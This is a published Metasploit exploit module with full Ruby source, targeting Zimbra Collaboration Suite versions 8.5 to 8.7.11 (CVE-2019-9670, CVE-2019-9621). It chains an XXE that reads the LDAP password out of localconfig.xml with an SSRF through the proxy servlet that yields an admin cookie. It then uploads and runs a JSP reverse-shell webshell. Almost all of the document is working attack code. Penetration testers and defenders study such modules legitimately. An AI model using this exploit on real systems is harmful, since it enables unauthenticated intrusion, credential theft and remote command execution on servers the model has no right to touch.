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Zimbra Collaboration Autodiscover Servlet XXE / ProxyServlet SSRF

Zimbra Collaboration Autodiscover Servlet XXE / ProxyServlet SSRF
Posted Apr 11, 2019
Authored by Jacob Robles, Khanh Viet Pham, An Trinh | Site metasploit.com

This Metasploit module exploits an XML external entity vulnerability and a server side request forgery to get unauthenticated code execution on Zimbra Collaboration Suite. The XML external entity vulnerability in the Autodiscover Servlet is used to read a Zimbra configuration file that contains an LDAP password for the zimbra account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a server side request forgery in the Proxy Servlet is used to proxy an AuthRequest with the zimbra credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the Client Upload servlet is used to upload a JSP webshell that can be triggered from the web server to get command execution on the host. The issues reportedly affect Zimbra Collaboration Suite v8.5 to v8.7.11. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition.

tags | exploit, web, code execution
advisories | CVE-2019-9621, CVE-2019-9670
MD5 | b42049eb9c9de4811401181abe4e75ba

Zimbra Collaboration Autodiscover Servlet XXE / ProxyServlet SSRF

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
'Description' => %q{
This module exploits an XML external entity vulnerability and a
server side request forgery to get unauthenticated code execution
on Zimbra Collaboration Suite. The XML external entity vulnerability
in the Autodiscover Servlet is used to read a Zimbra configuration
file that contains an LDAP password for the 'zimbra' account. The
zimbra credentials are then used to get a user authentication cookie
with an AuthRequest message. Using the user cookie, a server side request
forgery in the Proxy Servlet is used to proxy an AuthRequest with
the 'zimbra' credentials to the admin port to retrieve an admin
cookie. After gaining an admin cookie the Client Upload servlet is
used to upload a JSP webshell that can be triggered from the web
server to get command execution on the host. The issues reportedly
affect Zimbra Collaboration Suite v8.5 to v8.7.11.

This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
UBUNTU16_64 FOSS edition.
},
'Author' =>
[
'An Trinh', # Discovery
'Khanh Viet Pham', # Discovery
'Jacob Robles' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-9670'],
['CVE', '2019-9621'],
['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']
],
'Platform' => ['linux'],
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true,
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'Stance' => Stance::Aggressive,
'DefaultTarget' => 0,
'DisclosureDate' => '2019-03-13' # Blog post date
))

register_options [
OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
]
end

def xxe_req(data)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, '/autodiscover'),
'encode_params' => false,
'data' => data
})
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
res
end

def soap_discover(check_soap=false)
xml = REXML::Document.new

xml.add_element('Autodiscover')
xml.root.add_element('Request')

req = xml.root.elements[1]

req.add_element('EMailAddress')
req.add_element('AcceptableResponseSchema')

replace_text = 'REPLACE'
req.elements['EMailAddress'].text = Faker::Internet.email
req.elements['AcceptableResponseSchema'].text = replace_text

doc = rand_text_alpha_lower(4..8)
entity = rand_text_alpha_lower(4..8)
local_file = '/etc/passwd'

res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
if check_soap
local = "file://#{local_file}"
res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
res << "#{xml.to_s.sub(replace_text, "&#{entity};")}"
else
local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
res << "%#{entity};]>"
res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}"
end
res
end

def soap_auth(zimbra_user, zimbra_pass, admin=true)
urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'
xml = REXML::Document.new

xml.add_element(
'soap:Envelope',
{'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'}
)

xml.root.add_element('soap:Body')
body = xml.root.elements[1]
body.add_element(
'AuthRequest',
{'xmlns' => urn}
)

zimbra_acc = body.elements[1]
zimbra_acc.add_element(
'account',
{'by' => 'adminName'}
)
zimbra_acc.add_element('password')

zimbra_acc.elements['account'].text = zimbra_user
zimbra_acc.elements['password'].text = zimbra_pass

xml.to_s
end

def cookie_req(data)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, '/service/soap/'),
'data' => data
})
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
res
end

def proxy_req(data, auth_cookie)
target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, '/service/proxy/'),
'vars_get' => {'target' => target},
'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
'data' => data,
'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
})
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
res
end

def upload_file(file_name, contents, cookie)
data = Rex::MIME::Message.new
data.add_part(file_name, nil, nil, 'form-data; name="filename1"')
data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')
post_data = data.to_s

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
})
end

def check
begin
res = xxe_req(soap_discover(true))
rescue Msf::Exploit::Failed
return CheckCode::Unknown
end

if res.body.include?('zimbra')
return CheckCode::Vulnerable
end

CheckCode::Unknown
end

def on_request_uri(cli, req)
ent_file = rand_text_alpha_lower(4..8)
ent_eval = rand_text_alpha_lower(4..8)

dtd = <<~HERE
<!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
<!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">
%#{ent_eval};
HERE
send_response(cli, dtd)
end

def primer
datastore['SSL'] = @ssl
res = xxe_req(soap_discover)
fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m
password = $1
username = 'zimbra'

print_good("Password found: #{password}")

data = soap_auth(username, password, false)
res = cookie_req(data)

fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
auth_cookie = $1

print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")

data = soap_auth(username, password)
res = proxy_req(data, auth_cookie)

fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
admin_cookie = $1

print_good("Admin cookie retrieved: #{admin_cookie}")

stager_name = "#{rand_text_alpha(8..16)}.jsp"
print_status('Uploading jsp shell')
res = upload_file(stager_name, payload.encoded, admin_cookie)

fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
# Only shell sessions are supported
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")

print_status("Executing payload on /downloads/#{stager_name}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"),
'cookie' => admin_cookie
})
end

def exploit
@ent_data = rand_text_alpha_lower(4..8)
@ssl = datastore['SSL']
datastore['SSL'] = false
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
end
end

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